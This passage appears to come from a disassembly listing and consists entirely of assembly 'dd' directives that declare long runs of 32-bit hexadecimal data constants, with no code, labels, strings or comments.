		dd 0DC0B3840h, 3AA7DD70h, 0B2189D45h, 5A56B847h, 734A900h
		dd 85AFA295h, 0B6DF002Fh, 3CC73873h, 7F071563h,	0D6436E8h
		dd 0D2D310D0h, 7B802EB3h, 83B800D3h, 75D42A1Fh,	6E449E00h
		dd 4DF5CFA7h, 0CA8E00A2h, 0E936505Bh, 1A17EB8Fh, 301EE7ABh
		dd 67C4DA80h, 7C2BE71h,	11707ACDh, 4F2D0DBh, 0D65C82DFh
		dd 0D98000C4h, 0D4A636DCh, 5D1900A9h, 0C81F0C59h, 7100157Bh
		dd 0AAB451DFh, 1654341h, 8E390302h, 70F79946h, 0EDEE97A5h
		dd 53A64904h, 2CF0623Ch, 0B76E0743h, 0E0E0C689h, 48EEE94Dh
		dd 0E44C3700h, 4318B9FCh, 90CC0411h, 807CA547h,	8737E6C5h
		dd 5D8D9100h, 1C815575h, 0D89E3EC3h, 0CAFD4B81h, 0DC482F4Ah
		dd 710016BFh, 4E7C95E3h, 3935F9Dh, 0CB072918h, 39B06FA4h
		dd 0AA0086E4h, 35E833CDh, 0D7DAF9h, 0D52BCC36h,	0E94EC9F0h
		dd 57EAB412h, 398AAC02h, 0CD9F20A3h, 5B07A775h,	4FF5708Eh
		dd 3135E310h, 38820BECh, 8803A88h, 14DD3B79h, 8C607AF8h
		dd 8A9AFF40h, 858E00D7h, 2EA0254Fh, 2800879Bh, 0A4353A76h
		dd 30E9F4h, 0AAF38DBEh,	845FB21h, 0DC57592Eh, 3E76900h
		dd 6C5882h, 720A4939h, 424FE5A8h, 530B1805h, 1F80201Eh
		dd 0EAA97Ah, 95C8F0EFh,	0A8D8DDA6h, 0F3483A00h,	603C5B9Ch
		dd 0FBD607ADh, 0E0FECA22h, 59B41041h, 0E8EE4B00h, 0E3880525h
		dd 0DA761F75h, 0A977C0E7h, 91F0706Ah, 0C31FD098h, 0FC4439FAh
		dd 1ABAA552h, 0CAC018D9h, 63094346h, 80AA8D40h,	2BF86244h
		dd 0E84E0059h, 8F989E5Ch, 2A95FBF4h, 80AF9004h,	3F869B04h
		dd 0C4DE594Ch, 6303440Fh, 5CF3A9A0h, 0D800D02Dh, 50FB6720h
		dd 3CF07D94h, 0EF808288h, 0E1934CFAh, 991E8EA5h, 6A80C8DEh
		dd 91283BD7h, 12921D1Ch, 0F15A0021h, 0F8FB018Ch, 0E900FAE8h
		dd 6B206183h, 9A2299D9h, 19BC0158h, 6F3D70EAh, 0C16EFC3Bh
		dd 0A5764525h, 34906578h, 0AA8B4Dh, 0E473CBF8h,	9AF1FA54h
		dd 1AE81700h, 184FD369h, 7D78B21Dh, 90AC1615h, 193800DDh
		dd 30448EA1h, 6C5DC105h, 40883A29h, 0E88B682h, 97E07F39h
		dd 5C16DB33h, 0C64D6700h, 0D670040Ch, 48200E85h, 0BA207A38h
		dd 603F6E5Bh, 54969100h, 0F229D379h, 0D0250269h, 0BC49D940h
		dd 2BEFBC80h, 0ACB06054h, 0C1593605h, 40C06913h, 16C707FAh
		dd 0C048BF42h, 9FD014D0h, 7102FC00h, 0E0B5D67Bh, 0A7840043h
		dd 97278E8Fh, 480093A2h, 1FEE38DEh, 240C40Fh, 0D3DA9820h
		dd 0D4E1C6FCh, 2B4E20CBh, 73907E02h, 0C8DF8692h, 3369430h
		dd 4557566Dh, 37E0EB29h, 0C316AAAEh, 0C831BE6Eh, 5B0332A4h
		dd 0EB6038EAh, 18009B95h, 0F0BBF849h, 5463D5h, 0DB10BD37h
		dd 0CE7FDA8Bh, 69C0517Bh, 5CB82985h, 5F00024h, 1BF4F369h
		dd 7D077A1Ah, 7B7F772Bh, 1ED7321h, 6A00002Ah, 0CB0BBA44h
		dd 5BBB5E3Dh, 0ADE90C01h, 5AC0E1F7h, 70903B7h, 0A08D5199h
		dd 0D3A66F90h, 4083BE30h, 494119Fh, 8B1E1665h, 0A6618691h
		dd 0F6C82400h, 0F7A44F62h, 0DF331281h, 87801FEDh, 4050C7BAh
		dd 80B976C0h, 953DBD01h, 2225D7C5h, 0EEE1CCF0h,	8AEF16F1h
		dd 30988898h, 13BF3B00h, 87535712h, 50E70070h, 603A5AA2h
		dd 8C1D9B66h, 7D0FCB40h, 65D0401Eh, 7BEA9ABCh, 64630A5Dh
		dd 3F945A6Eh, 45CA6C00h, 2AF5D3E6h, 891AD000h, 0A960439Eh
		dd 35D20068h, 647C0E38h, 9A076545h, 0F255D678h,	0A8A5EE90h
		dd 26A00ADh, 0C433E5BDh, 0D17A5BCEh, 0C5106D04h, 18E08A65h
		dd 0AB370027h, 6BA27559h, 5D007AC4h, 892F5E55h,	11A736h
		dd 5FD7EA76h, 0D9C1F242h, 90F9D800h, 4568A53Dh,	0A4DE3CBCh
		dd 0DDB52B83h, 0A7E723F1h
		dd 9DD940A3h, 0D897170Fh, 636C0095h, 0D5D3AA82h, 0E8F03F5Eh
		dd 0BE0D2603h, 0A081B1F3h, 8BEDC5h, 0B8F185E4h,	1962A8E5h
		dd 0DCB54300h, 866DEF55h, 49161C33h, 0A1938102h, 0A7A39ECEh
		dd 0E4F689h, 6F48FC7Ch,	19C0C4B1h, 142DA634h, 2425FE54h
		dd 6898736h, 600AD9C8h,	6EF7F103h, 0E86D0206h, 3B0F10E8h
		dd 2F8705F4h, 7157CAFCh, 70601485h, 1C3962FDh, 80A73087h
		dd 0E5D222Fh, 0E4167CECh, 37456A00h, 5E00B64Eh,	0C255834Dh
		dd 84642Dh, 5A540570h, 3EB97D92h, 2C018CA0h, 4CB1850Ah
		dd 280C0AAh, 5FB65E9Eh,	6A7B03C2h, 0FF3E6658h, 0BDC705A0h
		dd 48467A00h, 18127DD8h, 0C2E700B2h, 205708D9h,	0F0007616h
		dd 0C781319h, 9827C454h, 0D621DC1h, 0DAF700F6h,	537B2063h
		dd 0F8F3500h, 0EF862287h, 0ADDF00B1h, 7D755F55h, 3C0330A2h
		dd 0A9DB0E0Ah, 0C3B18036h, 0EA4D5C08h, 0ED33B002h, 32E094CFh
		dd 0DB1C8CD5h, 80BC492Fh, 0E020130Dh, 35AAB7h, 3F629604h
		dd 1DC1ECD7h, 6CE4CC00h, 0CEBD3C2Fh, 35073C0Bh,	17732200h
		dd 13B4FC56h, 0AEACF03h, 0C06D7058h, 6ACAAFh, 785D32A8h
		dd 24AB0438h, 0C511D012h, 6EE4441Dh, 0BC40940Ah, 63D4700h
		dd 6772CE67h, 0F01D362Dh, 0B4A7D325h, 0E910FB00h, 0BB4AC3C4h
		dd 4FBF0064h, 0EA5B1728h, 0D9509173h, 35077CE8h, 544DE0C9h
		dd 0A780E624h, 17447F9Ah, 9B0E8h, 0EA8150D8h, 91747AFBh
		dd 9E050C00h, 3B4F0E82h, 1A0F0704h, 0A033E103h,	54E0D3A9h
		dd 65D1B900h, 0E7F540F4h, 0C9B00C11h, 3E10EBC4h, 0E95FFB1Dh
		dd 0A433ADC5h, 0E467ED80h, 0D0900508h, 881657h,	873DFCD0h
		dd 4804D986h, 0EA2B8E18h, 0C00BC382h, 48264F4h,	67CD4B13h
		dd 5D778079h, 0F9008706h, 6881A2CCh, 7D48BF2h, 0B62A044Fh
		dd 0CABAF03Ah, 0E360565Fh, 0EED05560h, 0F0B490DAh, 684F00A2h
		dd 6B729216h, 0B30CFD47h, 21D8D669h, 0E25B305Ah, 7A7C6039h
		dd 0A9BAEA01h, 66BCDE7Bh, 7187E7CFh, 0BBAE01C0h, 0D6CC037Fh
		dd 62884F6Ch, 0C80A91C1h, 8071697h, 0E97B9C70h,	5261EBC0h
		dd 0FDFA0E20h, 6B4A755Dh, 9B2F05A7h, 0CC844E12h, 0EF78ACCCh
		dd 71DA1800h, 4AE66CB8h, 0C98D0033h, 54AD2296h,	48140321h
		dd 3705155h, 4F26589Ah,	7552A808h, 16F60384h, 0D8F1709Dh
		dd 3FAE23A8h, 5400C9FEh, 0FAB18E3h, 985389h, 0BBF7C0A9h
		dd 0A5257723h, 42C49B01h, 47BEBD31h, 1696FD8h, 3009D0CEh
		dd 0D04E9C28h, 0CF00D783h, 49DE06E6h, 608FB4BAh, 0B6388AEh
		dd 0D1DA182Ch, 740417C8h, 911DB418h, 7F3C710h, 0B8ED9EE4h
		dd 0AD70A3F4h, 400BC8D1h, 2944B4E8h, 0FDF54AFCh, 582990F2h
		dd 0F0423988h, 6874272Dh, 0A984CC90h, 4A15E14h,	899DE24h
		dd 0E9E841D0h, 2FF802F5h, 0E7A78C00h, 0F2729904h, 94F04207h
		dd 0D010FEABh, 0E049A356h, 5B471D26h, 0DCCFC0C4h, 8696CEE2h
		dd 2C482907h, 7D504058h, 2818E1h, 32EE4F69h, 0FBAB263Ch
		dd 1613F100h, 0EA425C3Bh, 93B7007Fh, 4DBB892Ch,	374CDE22h
		dd 0A046004Bh, 0DB118BD5h, 0D61738FDh, 0A70F8E83h, 7DD0D4D7h
		dd 66008A9Eh, 30FB8490h, 933CA9h, 8972A053h, 0DDFD4302h
		dd 0C1D6AD0Fh, 803EFF7Ah, 1D4D4777h, 0B56625h, 7140DBD3h
		dd 182832A5h, 7EA7D00Ah, 3383D8FCh, 0B8D5B70Ah,	26B3F7h
		dd 248C422Ah, 648A21A9h, 0DB6FAE14h, 4B580010h,	7A691A92h
		dd 98300719h, 50FA503Fh, 731CB077h, 33EA7000h, 265EF124h
		dd 936D2CE4h, 0C0371D8Ah, 30EC79CCh, 9A005081h,	8C8D563Ch
		dd 0FEE2DB16h, 0A1FD04B4h, 80B0788Fh, 5F42F720h, 20CBE000h
		dd 0B5EF2447h, 67370711h, 80C12BA2h, 0FAF651DFh, 7AD3A500h
		dd 0A78BD4BEh, 0A66D38D8h, 533B8E00h, 0A9B26747h, 5B737513h
		dd 0C1669201h, 0DDD0DB70h, 646E00BFh, 67556392h, 0A6EC72FDh
		dd 71967C00h, 0F7E13EC5h, 52400D3h, 0D5C2C90Bh,	5400FEB4h
		dd 0EFC8539Ch, 0EAE02EAh, 0DE091C20h, 0DF8EF180h, 47000482h
		dd 4EB14430h, 33136Bh, 9BF62646h, 0DEFE36FBh, 2E212901h
		dd 2B7119AFh, 0BBEC9E0h, 0F666DC1Eh, 0FA8630Ah,	6CC048C0h
		dd 6EFDF52Ch, 0CF655A1Ch, 9A1E3580h, 37D72D9h, 0F196A96Bh
		dd 0BA80CD14h, 7EAE184h, 9C235B00h, 57FE90F7h, 51310734h
		dd 0F346AE3Fh, 28EB987Ah, 0F226FD88h, 812E4979h, 11009DA5h
		dd 5E575619h, 940C0742h, 806B894Ch, 0ABE36E7Ch,	38E03100h
		dd 82F8A179h, 0B85D0039h, 0BCBEA21Ah, 0D5000A5Ah, 0ECDECDCh
		dd 0B918ADh, 0D92A2706h, 0D8B7C4C8h, 3B4E0500h,	1F398EB5h
		dd 3C827F35h, 8F00CFA4h, 3C1A58FDh, 0CC0322A0h,	0B7AF1531h
		dd 4C70E8F7h, 7C2F1F05h, 0B10283A8h, 0C180C854h, 0C9005CE8h
		dd 6DC0D1DBh, 7EF121Ch,	44073150h, 924DD049h, 0C200572Fh
		dd 0C14A88B2h, 0C0F7CD5Ah, 0EC9D5578h, 3D006AFCh, 33128A0Ch
		dd 166C7BFBh, 0BAC63045h, 5B63FD00h, 189106h, 2CACB5F5h
		dd 3A825F05h, 850A6C00h, 0EBA85AD3h, 248D0094h,	263F3B04h
		dd 4F3F8B17h, 64FE8387h, 0BEBECF79h, 0BF77D8h, 0D1926A0Eh
		dd 0D45FD586h, 31E6DC00h, 5D99A827h, 0A901003Fh, 4E1D09B9h
		dd 0CD007B29h, 0C02F9892h, 0FD05EAh, 0F7B3F4F9h, 5667CC9Ah
		dd 86A9A100h, 0CE06AB7Ch, 0FE3A00DAh, 0CCEF189Eh, 0A20233C7h
		dd 2FF37157h, 0DA01E068h, 7A827DE5h, 96E90076h,	0A224B50Bh
		dd 3400F188h, 0AED02D83h, 0D7408Eh, 0CCE78BCBh,	48E9DFB9h
		dd 1DC7F11Eh, 2B4EA600h, 0ED4F03h, 0EBE262F7h, 172D7F08h
		dd 905F1900h, 389FB155h, 63B82ED0h, 4C600C0h, 23A3706Fh
		dd 0B1812507h, 0DC900EF7h, 3559C3h, 55DD714h, 42EBDF9Ah
		dd 0E218CE0Eh, 75E6A006h, 33C806Ch, 8C635499h, 60AF0F96h
		dd 7EAA3B4Ah, 0CE404800h, 0A52D9F49h, 0BE7400B5h, 92D21B7Ch
		dd 727F9195h, 0B80F400h, 0F1856DE7h, 5DC038Fh, 0C5B91AC1h
		dd 1807DDB0h, 97B77000h, 0E0E62C84h, 64E40021h,	71FD37CEh
		dd 0A003A1Bh, 1F48851Dh, 13ABFEE7h, 6BC754h, 42B24396h
		dd 0B7B1932h, 44AF830Eh, 3A988025h, 86F3CEh, 0D9BB6333h
		dd 0F18E6B6Ah, 7500ACF6h, 4CD12C7Eh, 2FF82A3h, 26E12B04h
		dd 18409E09h, 7000B1C7h, 44E7DD33h, 0F6CDCh, 5F79EE8Dh
		dd 86C5A1E9h, 8071B038h, 0F1561502h, 8A8543h, 0F2B836FDh
		dd 2CB105ADh, 31A01A01h, 1C7E3E2Bh, 0F91C400h, 85C11001h
		dd 0C8F6E887h, 0C2BAD040h, 90EC0009h, 9A1F6BC6h, 0B93E5517h
		dd 2DCB9F88h, 339E424h,	0B65D8C75h, 2FCA87Ch, 389838FDh
		dd 78E20380h, 7922A357h, 83142700h, 8AE515ABh, 0BA86009Dh
		dd 85F9033Dh, 210B3FF2h, 7D7BC355h, 0D3A19B83h,	0B2760688h
		dd 45E45200h, 6B4927DFh, 9B781F11h, 418EC092h, 8833299Dh
		dd 7E004498h, 52AA01D9h, 30A6684Dh, 34C8C78Bh, 973ABCCFh
		dd 0B78D03E9h, 0F14DE0D9h, 0BD30AD8Ah, 180100F1h, 0F4C1B8DFh
		dd 31005689h, 742EB29Dh, 1868A4Ah, 0F63E5A17h, 0FCBE5962h
		dd 0F44B9D42h, 0BFD66B00h, 28918276h, 0E2A83832h, 6E241881h
		dd 7AF4110Eh, 18E4780Eh, 4DC56019h, 9CAEB5h, 0C8617EB4h
		dd 28D2B972h, 0CD5E9500h, 0A001A355h, 0E77C00FAh, 0BDAAA23Dh
		dd 1138799Fh, 0A9A610CAh, 0C05FA11Fh, 5037A707h, 5E390F4Ch
		dd 960A7AE0h, 0BC5A93B1h, 2C08CC01h, 5880C359h,	69408B5Ch
		dd 19001650h, 0CF27054h, 3BEEFF4Bh, 778EAB6Fh, 8D007828h
		dd 0F0A0553Ah, 0FC668C00h
		dd 0CF595036h, 0AED12626h, 4A61D9Ch, 80A1A7BCh,	6CAD8EB4h
		dd 93BDD700h, 0C8815578h, 72330008h, 10250AF3h,	0CA008DD4h
		dd 0DAFB8687h, 71D18E2h, 7B9D2C8Bh, 64A74049h, 8402FF6Bh
		dd 0EC2162A2h, 86FC414Ch, 478024h, 57B20632h, 0EC5CC468h
		dd 6D148E00h, 2269DEF9h, 39041C44h, 9C8340F1h, 0BC270D7h
		dd 0B77B0900h, 872D7232h, 9BAC0028h, 0BFABAD20h, 448012FDh
		dd 6B8E0913h, 20088A08h, 80109DB0h, 368115FCh, 8000234Eh
		dd 35F2E209h, 3E547Ah, 0EF125ADh, 3B2C7F64h, 7C0004E2h
		dd 0EEF40B0Fh, 17B2E03h, 16F1E21h, 315ED487h, 1676C4F0h
		dd 0EC389C01h, 59C9CEEDh, 0F743D447h, 0A43A9086h, 2CBA0B54h
		dd 55F629D9h, 8F23F600h, 7B31C5ABh, 907500EBh, 77646312h
		dd 0E30042E7h, 0F914B5B4h, 0F219BAEh, 0C361AB08h, 0B9540FF2h
		dd 0DA65F320h, 0C2FC8925h, 0E8ECF154h, 2984D61Dh, 47035AEEh
		dd 0C8885986h, 0F253F95h, 32EC3D15h, 0C470D160h, 0DF71B30Eh
		dd 367A107Dh, 8E50C50Bh, 355D80A2h, 0E625BDh, 0DF77DFEh
		dd 36D25223h, 0B4214800h, 0E70C541Ah, 0E1C50718h, 536BCCB3h
		dd 0E3D0A9E8h, 300EDA0h, 5BFA6731h, 0F91A0Ch, 0B12FAED9h
		dd 0C7D4E497h, 0D8E3AC00h, 0F7AA5FD7h, 1C9E01E7h, 5A6F22C9h
		dd 765881B2h, 2F4F6C39h, 4C298970h, 8400CC47h, 12CEC4BDh
		dd 0EF0016C1h, 56E9013Bh, 2CA470h, 0F7A8F454h, 0A02DB8BDh
		dd 0CA3DD700h, 0E697C722h, 81430013h, 7C919998h, 55762CA3h
		dd 0C138BA00h, 2BE37BA8h, 0FAF50490h, 0C070DC3Ah, 3E2E6F8Dh
		dd 0C9BC970Ch, 3F98B3h,	0AA287A6Eh, 33591145h, 0B46CCC07h
		dd 2BAF4C51h, 7A5380A1h, 6B63EAEh, 0A2585AFFh, 8B5C606Ah
		dd 9BE0306h, 0E77EC7CAh, 82576180h, 839C00AFh, 0F36A36F5h
		dd 0EF006F7Bh, 0DEEA0907h, 0FB8783Dh, 0EC7601A9h, 0F03C6127h
		dd 0DD6D929Fh, 10658B00h, 0F80B4C12h, 0E3FAABh,	4F06D587h
		dd 55CAA286h, 1324B003h, 8832D31Dh, 6B70C2h, 7E20910Dh
		dd 0A059A916h, 0FC25CC01h, 60BC6E9h, 6C94F850h,	3B6658DFh
		dd 90033F00h, 0A2AC08E4h, 0EBC47BF7h, 0D87A61C0h, 5F6B0007h
		dd 2D309F0Eh, 87004138h, 5DFBA44Ah, 30ACBC6h, 18FF85FEh
		dd 0A1981043h, 0CF286BBh, 9070C400h, 4EE27357h,	323D0041h
		dd 93D91583h, 0D8002B27h, 1B75DD45h, 955FA8h, 6026F24Ah
		dd 0C9B83E5Bh, 3B5EBB00h, 0EF554310h, 980402ADh, 9925C3A1h
		dd 777A80F7h, 8F05C5h, 9484AF13h, 8ECBFD0Eh, 31B71B07h
		dd 9CF1397Fh, 5FE0C041h, 0E7471FBAh, 0FC7DC0A1h, 0FD6226C1h
		dd 17A6250Eh, 33DEC337h, 0B695E8CEh, 0C2130082h, 91FBADFAh
		dd 2B001231h, 849B1D3Fh, 392BCCCh, 0A36E46ECh, 23A0DAD0h
		dd 8F4C7B7Fh, 0E544003Ch, 3746FE70h, 4A1E4CEAh,	0DA4FD500h
		dd 1B6EC42h, 384A073Ah,	0CF19800Dh, 46A2443Dh, 3F4D00C9h
		dd 97B2ED91h, 1D005A85h, 0F9DF5637h, 90E070E9h,	8DFA00A0h
		dd 2C7CC555h, 0F3009D07h, 64E61220h, 0C0574AD9h, 0DEA69A7Ah
		dd 77001CB1h, 27BE9E38h, 0F6E37A0Fh, 2A790014h,	7CB0C273h
		dd 5A042C15h, 0E7BD60ABh, 29D6DC80h, 0BB6A1078h, 327A1118h
		dd 0B32BD100h, 0B45ADC7h, 1E00D00h, 0CF5755CEh,	774F2DFh
		dd 0DD4783F9h, 1E1580E9h, 9400FA49h, 0BE1A313Dh, 0BA7EB6h
		dd 5918A94Bh, 0C81C293h, 49323F00h, 44133C31h, 0CE748Bh
		dd 79EA9DF1h, 27DE66A1h, 0D0D83D60h, 0EA55428h,	0FF9A7FC7h
		dd 0D377720h, 8000B4ECh, 0BEB7DEB1h, 2D6CEA1h, 9D2F8CE4h
		dd 5660E221h, 0EA13C832h, 6C0E1A53h, 4F588214h,	0FA9F60FCh
		dd 73D800EEh, 47C81B89h, 0C024074Dh, 0A500AB96h, 6493E09Bh
		dd 0A2E518CBh, 0A18FAAB2h, 0DD8AEF00h, 0A623B0C7h, 0DAE90047h
		dd 0E8F16338h, 3530217Dh, 0CA3F8EC6h, 5EEC2Bh, 3C0D5D1Dh
		dd 0C1F05F37h, 0D03E4700h, 0DF1048E5h, 9B0C009Ch, 3D56FE60h
		dd 6200D6C5h, 27B28175h, 2980978h, 106B0D74h, 0B3408251h
		dd 3E071EB1h, 34676CFDh, 570ECFB7h, 0E0735BFCh,	749300BFh
		dd 31D5B263h, 7000E4E1h, 0E768F4C0h, 58A6CE6Bh,	0F8002D9Ah
		dd 0E62D10B2h, 4A03BA61h, 41C30872h, 89C0E892h,	318400B0h
		dd 0FA8747F4h, 0E8018615h, 24228C18h, 53C0B608h, 25913BF0h
		dd 703DCCh, 0F6FA4798h,	9D6FC751h, 1C72DD03h, 988CBB67h
		dd 3C6CB33Ah, 450E4805h, 47AFCB7Ch, 81D70056h, 164C88E9h
		dd 7D95221Dh, 14A79D04h, 7ABD7780h, 787B004Dh, 0B9683C32h
		dd 0EC00263Eh, 0A2B59322h, 1A99CF2h, 0CD908F6Dh, 40B0FFDCh
		dd 7DF17A8Ch, 0F4E439h,	91B25D27h, 812A23h, 657FD003h
		dd 354F780Fh, 72AD2800h, 237D7BD8h, 4B4A13EDh, 36A816h
		dd 0FF6492C7h, 28B91BA8h, 1CF8EC5Fh, 0EE0F93Bh,	302068FDh
		dd 0CCEEEBBFh, 0D2982D50h, 0C1E6057Dh, 0F031498h, 0FB17E423h
		dd 79210007h, 32031BE0h, 4C792ABBh, 93A77E00h, 8BA569D2h
		dd 0C4E74CCh, 0A10AE999h, 0F15CB019h, 7EC6009Fh, 0BCECAF6Ah
		dd 3FC008Ah, 45CB2D1Ah,	4D00EB0Ch, 0DDB9DE33h, 0B8CE6Dh
		dd 0BC0905E3h, 0FA61489Fh, 0B3791800h, 0A136390Bh, 0C3A901C4h
		dd 8409E8AEh, 0BF80ECDEh, 4E03F203h, 0D27F12B0h, 0BC144089h
		dd 79444864h, 547C6D00h, 0D29E3E34h, 0B55C5A00h, 0AC0F2573h
		dd 1FF9000Ah, 2281BD72h, 0D00067A7h, 0E38F3930h, 1D94442Dh
		dd 80F52F18h, 0B007B87Bh, 3FCF6B1h, 0FC057E12h,	6865310Ch
		dd 52C9002h, 5A5DEBBDh,	0BFE84068h, 0E5E1DF60h,	9C21AC00h
		dd 72506ED2h, 762B00CEh, 4F12CB41h, 0F0F257FEh,	8A00EBFEh
		dd 722A962Ch, 145E44h, 3339C19h, 0EAD64BFFh, 7A5C3012h
		dd 4EB6A400h, 1AFACDCBh, 70382EFBh, 36D55D82h, 0DE3DC360h
		dd 461D18A6h, 95059FCBh, 0C030FE5h, 186A8DDEh, 3880ECB1h
		dd 12E87392h, 189AFF37h, 0C1C36387h, 3497F802h,	67160AEFh
		dd 1F3CB3FBh, 0EA564FCDh, 64360C1Dh, 0F19DF50h,	2D215EF8h
		dd 4D3D6800h, 5BF91100h, 0DE4BA9ADh, 676F0007h,	0D3697733h
		dd 570A5615h, 0A437F1CDh, 34016E45h, 3565DCFh, 1500AFBh
		dd 381CB5h, 0C6BC9493h,	4400617Dh, 0FC3FBEABh, 0E47039DAh
		dd 0E4770734h, 0F0989A14h, 1537739Dh, 7B7EBE00h, 0A7B7A156h
		dd 0D3B600E7h, 0F967C52Ah, 0BD0065C4h, 9AD5C76Ch, 766C6BEh
		dd 0F0227D7Eh, 9824F0A9h, 20002934h, 0FFF59BFBh, 7D47F7Ah
		dd 0D35EA47Ch, 0C09C508Eh, 9D00D1E6h, 0BD38C596h, 70C630h
		dd 6EA25E49h, 32F4E74Eh, 3D37948h, 56EC458Fh, 4F94767h
		dd 4801B2E1h, 301AAD0h,	0B15BF06Bh, 0D4E585E9h,	0D7DAB840h
		dd 7EE7CC5h, 5DF9B9AFh,	0C1D1C7CEh, 0F0ECA520h,	0FB0CD77Dh
		dd 5966920Ah, 0D5B51806h, 0A1B95173h, 18358344h, 29F2B7C8h
		dd 4628E9E4h, 4C7CC036h, 0BB55491Fh, 307E3B83h,	8137A0FBh
		dd 476A1E3Eh, 78E46ADAh, 8F60A1C2h, 93116B10h, 1033A631h
		dd 0C7F8600Dh, 95380566h, 31371E34h, 73FD970h, 40552B12h
		dd 0B06AD83Ch, 0E8356222h, 0D3005CBFh, 78E5269Bh, 8FEF614h
		dd 6FB6C838h, 0D6F48ABBh, 0E8C04C37h, 3260E01h,	2D5E394Eh
		dd 0A90D4FEBh, 3193F4A1h, 0B5079400h, 3B4430B7h, 25B9EFA8h
		dd 39154971h, 5D44DD6h,	6E0ABF6Bh, 42EF824h, 6B84D6C3h
		dd 0B17D1000h, 9EACB638h, 0E2F0006Ah, 138D9490h, 3900C960h
		dd 9F9D83Fh, 4A434Bh, 5B0DD56Eh, 3BAC6805h, 0BE398D00h
		dd 8B4BFCC5h, 0F5E009B6h
		dd 660730CDh, 0E1205F23h, 0A5CF76ECh, 3377D503h, 0B812BEA6h
		dd 13DC5108h, 40C43832h, 0FDB83178h, 3700A3D0h,	54466E27h
		dd 4C262Ah, 76017AF5h, 470A5E43h, 0D8D18500h, 0CD0E40AFh
		dd 7E700062h, 71114FFCh, 314872FDh, 0D37903C4h,	0C822E6C6h
		dd 0F830D71Dh, 588B89Ah, 0EBD4F120h, 7A2581A6h,	0D4016B94h
		dd 0D6A8824Ch, 2CBA34CCh, 742C48h, 5E79F237h, 0C30AD8CEh
		dd 0A4890B8Ah, 7A1C6696h, 6ED60039h, 0B71F7C3Eh, 2B93015Ch
		dd 376B9DB3h, 98C8EA85h, 78181991h, 0AB11557Dh,	6ECD00A5h
		dd 0D64064B9h, 8A2A24E1h, 0DE70D47Bh, 4A69BB03h, 803F0C46h
		dd 3DC49D0h, 59E55F8h, 0DF0FE8Ch, 6DF8E78Dh, 0FD00B078h
		dd 11C56EA3h, 58F90Bh, 0AB6BF29Eh, 34C37C51h, 9C67352Ch
		dd 2B854501h, 0C1DFF71Bh, 84E4C7E9h, 0C96F60AEh, 758C5D5Ah
		dd 0B6CC9C00h, 0E6C4915Eh, 0F5C30759h, 407A7DE8h, 26B0A8E0h
		dd 6779FD00h, 24734D8Ah, 0E738001Dh, 0E0BA88F1h, 0AA00079Dh
		dd 0F32D181Eh, 7515E2Fh, 4350D80Ch, 4D00BBD9h, 6DBA3E77h
		dd 0B3B6D305h, 4C038C4h, 0D0B8A5h, 5248F808h, 0A278A9A4h
		dd 10FD611Eh, 77FAB000h, 2C96B5h, 8EC37102h, 0BA765947h
		dd 1EDC121Fh, 21E1E840h, 1E42EC9Eh, 0C047302Eh,	7F5D071Ch
		dd 52001DEBh, 3D4C8B37h, 9BC7D8h, 0EAF80370h, 0E3204BB8h
		dd 6D73A000h, 0D26E4877h, 243F002Ch, 0D4CB35BCh, 53005546h
		dd 77BA15A7h, 1DF2098h,	3E26893Bh, 0E08F1006h, 0C300B447h
		dd 515D8EBFh, 25E922h, 2B554B4Ch, 0EE17CBDEh, 0B52CC900h
		dd 129175FBh, 0ED3EA8Eh, 9D9962DCh, 0E1C8B92Dh,	0AAB88006h
		dd 0E712A5A0h, 2A7DA2h,	1BB63B82h, 19A36268h, 21006D71h
		dd 51CAC398h, 1CE4658Ah, 0DC139385h, 6C0C0382h,	8BC8C083h
		dd 0B9009245h, 6FD87CF5h, 23FE6B7h, 0C4C99099h,	0EE875397h
		dd 0B5443105h, 9F2A2016h, 6CD19E00h, 0FAD6C20Dh, 7D2101EEh
		dd 703D1933h, 0B099D0F7h, 0B1C9D20Fh, 0BE8DA70Fh, 0C3029700h
		dd 2C350042h, 0EE8451F9h, 8010DF7h, 81DA74A2h, 907062ADh
		dd 0B5C300EFh, 0AB05CA9Ah, 0D50032C5h, 27203C19h, 31296Fh
		dd 3ADC15D9h, 0C517D11Dh, 80237F3Fh, 2FAC1350h,	0EEF12Dh
		dd 0C5D1F71h, 0B8B79D57h, 0B42EFA00h, 55A5B026h, 6862583Eh
		dd 12D1D1Dh, 4ADB608Eh,	0FF0C2458h, 0BD003CE0h,	0A44896F2h
		dd 6078A114h, 2762F89Ch, 5097B3E0h, 1C281E99h, 0AC2C000Dh
		dd 0D293A869h, 274D6700h, 176C5589h, 24E248F4h,	0A8028700h
		dd 3120FF83h, 23CC6903h, 0D0030593h, 673AADh, 65D34037h
		dd 130CF9C4h, 2300997Ah, 0B93DD17h, 0A4887h, 9E503402h
		dd 52434EBBh, 573E775h,	599C1202h, 40A2D596h, 30DD900Dh
		dd 6AD0AACEh, 0B00D176h, 17FAA37Fh, 407326E4h, 5F065149h
		dd 928E791Dh, 768A0011h, 0F013A62Fh, 8107DC22h,	2EAE0346h
		dd 48C8A992h, 3B658E74h, 48C9E39Eh, 83C0030Ch, 0BE66C8C0h
		dd 90CAECh, 86A44B7Ah, 0A928ADD4h, 0DF696C01h, 0FF4DBBE9h
		dd 97BAECh, 0CE539872h,	0C949A240h, 3E94163Ch, 7150E044h
		dd 1918528h, 13CF3A11h,	0E626FDB7h, 568B7160h, 5E1D6100h
		dd 4C930D64h, 2CD100D6h, 0BFCA82E9h, 0B77F1B88h, 289AB800h
		dd 0C7CDA320h, 1E2FCh, 0EB726958h, 0C9AA60DFh, 14964900h
		dd 578612D8h, 13CAFEB7h, 0BA5FA5D6h, 0D2233103h, 8900AC0h
		dd 806C704Ah, 6956BC83h, 5D01B2B5h, 7974644Fh, 0F0CF261Bh
		dd 0B42847h, 0E67A3E92h, 99E87B60h, 16751226h, 2818B50Ch
		dd 0A1F31FCFh, 23B98024h, 0FD533EBEh, 0FB62DA00h, 7C77650Eh
		dd 0D52103AFh, 0A602E6B6h, 0DD3C93B8h, 0F00FAECh, 0F7BE333Dh
		dd 0BCC540h, 0BDC41489h, 0A4AF2127h, 0A3253000h, 8306B2ADh
		dd 0FE5F391Bh, 0B959Dh,	0A9AE4081h, 32032D23h, 0F854088Ah
		dd 0F9A5B03Ah, 1A950034h, 5A2EA90Dh, 60F60AAh, 3DCE0868h
		dd 8E5900FFh, 75B7DB02h, 0F0270099h, 0EA413815h, 0F40EB61Dh
		dd 0C3056C4Ah, 1FE02DEh, 35FB03B0h, 24FAC6B0h, 4C00BD50h
		dd 42858B9Ch, 1BBBEEDh,	0E3F40784h, 346B44B9h, 3701ABC0h
		dd 83D4A7E4h, 0C2C0EB18h, 8130980h, 2C81C7F9h, 6070F528h
